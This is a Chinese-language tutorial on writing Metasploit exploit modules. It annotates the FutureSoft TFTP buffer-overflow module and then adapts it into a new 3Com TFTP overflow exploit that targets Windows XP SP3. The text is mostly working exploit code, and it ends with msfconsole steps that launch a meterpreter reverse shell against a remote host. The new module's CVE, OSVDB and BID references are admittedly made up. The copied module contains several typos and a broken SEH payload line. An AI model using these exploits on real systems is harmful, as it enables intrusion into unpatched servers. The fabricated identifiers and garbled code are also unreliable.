EXP开发》》Metasploit 》》》 编写MSF
Ax步骤
- MSF 使用Ruby编写
- 我们以编写好的exp作为模板，使用形成的模板，起到抛砖引玉的作用。
Windows TFTP server里所有的漏洞。
1.进入/usr/share/metasploit-framework/modules/exploits/windows/tftp
2.cat(or vi or pluma) futuresoft_transfermode.rb
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
#声明该模块使用的类型是泛型类、库或者模块中继承数据结构。
class Metasploit3 < Msf::exploit::Remote
Rank = AverageRanking
#该模块是通过UDP数据包远程实施网络攻击的模块，攻击类型是SEH覆盖
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::She
def initialize(info = ())
super(update_info(info,
'Name' => 'FutureSoft TFTP Server 2000 Transfer-Mode Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the FutureSoft TFTP Server 2000 product. By sending an overly long
transfer-mode string, we were able to overwrite both the SEH and the saved EIP. A subsequent write-exception that will
occur allows the transferring of execution to our shellcode via the overwritten SEH. This module has been tested against
Windows 2000 Professional and for some reason does not seem to work against Windows 2000 Server (could not trigger
the overflow at all)
},
'Author' => 'MC',
'References' =>
[
['CVE','2005-1812'],
['OSVDB','16954'],
['BID','13821'],
['URL','http://www.security.org.sg/vuln/tftp2000-1001.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
#声明了攻击字符串可分配给有效载荷使用的存储空间；
'Space' =>350,
#声明了需要规避的破坏性字符
'BadChars' => "\x00",
#该字段指定了避免覆盖有效载荷而需要ESP移动的偏移量
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
#列出所有操作系统和相关返回地址
['windows 2000 Pro English ALL', {'Ret' => 0x75022ac4} ], #ws2help.dll
['windows XP Pro SP0/SP1 English',{'Ret'=> 0x71aa32ad}], #ws2help.dll
['windows NT SP5/SP6a English',{'Ret' =>0x776a1799}], #ws2help.dll
['windows 2003 Server English', {'Ret' => 0x7ffc0638}], # PEB return
],
'Privileged' => true,
'DisclosureDate' => 'May 31 2005'))
register_options(
[
#TFTP默认端口69
Opt::RPORT(69)
], self.class)
#Ruby语言块end结尾
end
def exploit
#调用UDP全套字的方法
connect_udp
print_status("Trying target #(target.name)...")
sploit = "\x00\x01" + rand_text_english(14, payload_badchars) + "\x00"
sploit += rand_text_english(167, payload_badchars)
seh = generate_seh_payload(target.ret)
sploit += "]x00"
#定义此方法将字符串发送到目标服务器
udp_sock.put(sploit)
handler
disconnect_udp
end
end
分析好后，我们就可以编写自己的exp了
Bx_编写EXP
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
#声明该模块使用的类型是泛型类、库或者模块中继承数据结构。
class Metasploit3 < Msf::exploit::Remote
Rank = AverageRanking
#该模块是通过UDP数据包远程实施网络攻击的模块，攻击类型是SEH覆盖
include Msf::Exploit::Remote::Udp
# 这个就不需要了，因为exp通过覆盖返回地址攻击，调用UDP就可以了
# include Msf::Exploit::Remote::She
def initialize(info = ())
super(update_info(info,
'Name' => '3com TFTP long Mode Buffer Overflow',
'Description' => %q{
这个攻击模块呢，是3com TFTP ，版本是2.0.2.(假设是这样的，如果自己发现了的话就好了。。)
},
#作者信息
'Author' => 'ENOMOTHEM',
'References' =>
[
#漏洞编号信息，我们假设一个编号，在是更大平台的编号，以数组形式列举。
['CVE','2019-0606'],
['OSVDB','66666'],
['BID','333333'],
['URL','http://www.security.org.sg/vuln/tftp2000-1001.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
#声明了攻击字符串可分配给有效载荷使用的存储空间；
'Space' =>473,
#声明了需要规避的破坏性字符
'BadChars' => "\x00",
#该字段指定了避免覆盖有效载荷而需要ESP移动的偏移量
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
#列出所有操作系统和相关返回地址,该漏洞只适用于此系统的这个版本。
['windows XP Pro SP3 English ', {'Ret' => 0x7E45AE4E} ], #JMP ESI USER32.dll
# ['windows 2000 Pro English ALL', {'Ret' => 0x75022ac4} ], #ws2help.dll
# ['windows XP Pro SP0/SP1 English',{'Ret'=> 0x71aa32ad}], #ws2help.dll
# ['windows NT SP5/SP6a English',{'Ret' =>0x776a1799}], #ws2help.dll
# ['windows 2003 Server English', {'Ret' => 0x7ffc0638}], # PEB return
],
'Privileged' => true,
#默认情况下target为0
'DefaultTarget' =>0,
'DisclosureDate' => 'May 31 2005'))
register_options(
[
#TFTP默认端口69
Opt::RPORT(69)
], self.class)
#Ruby语言块end结尾
end
def exploit
#调用UDP全套字的方法
connect_udp
print_status("Trying target #(target.name)...")
#告诉TFTP服务器，即将传送一个文件，然后使用rand_text_english函数创建函数创建一个随机的6字符的文件夹名，最后是使用空字符作为文件名的结束符。
sploit = "\x00\x02" + rand_text_english(6, payload_badchars) + "\x00"
#用户所选的有效载荷和返回地址，之外还要加上空字符
sploit += payload.encode + [target.ret].pack('V')+"\00"
#定义此方法将字符串发送到目标服务器
udp_sock.put(sploit)
handler
disconnect_udp
end
end
那么好的，大功告成，记得保存，/root/.msf5/modules/exploits/windows/tftp/Enomothemexploit.rb
Cx_使用自己的EXP
msf5> use windows/tftp/enomothemexploit
msf5 exploit(enomothemexploit) > show options
msf5> set RHOST <ip address>
msf5> set payload windows/meterpreter/reverse_tcp
msf5> set LHOST <ip address>
msf5> exploit
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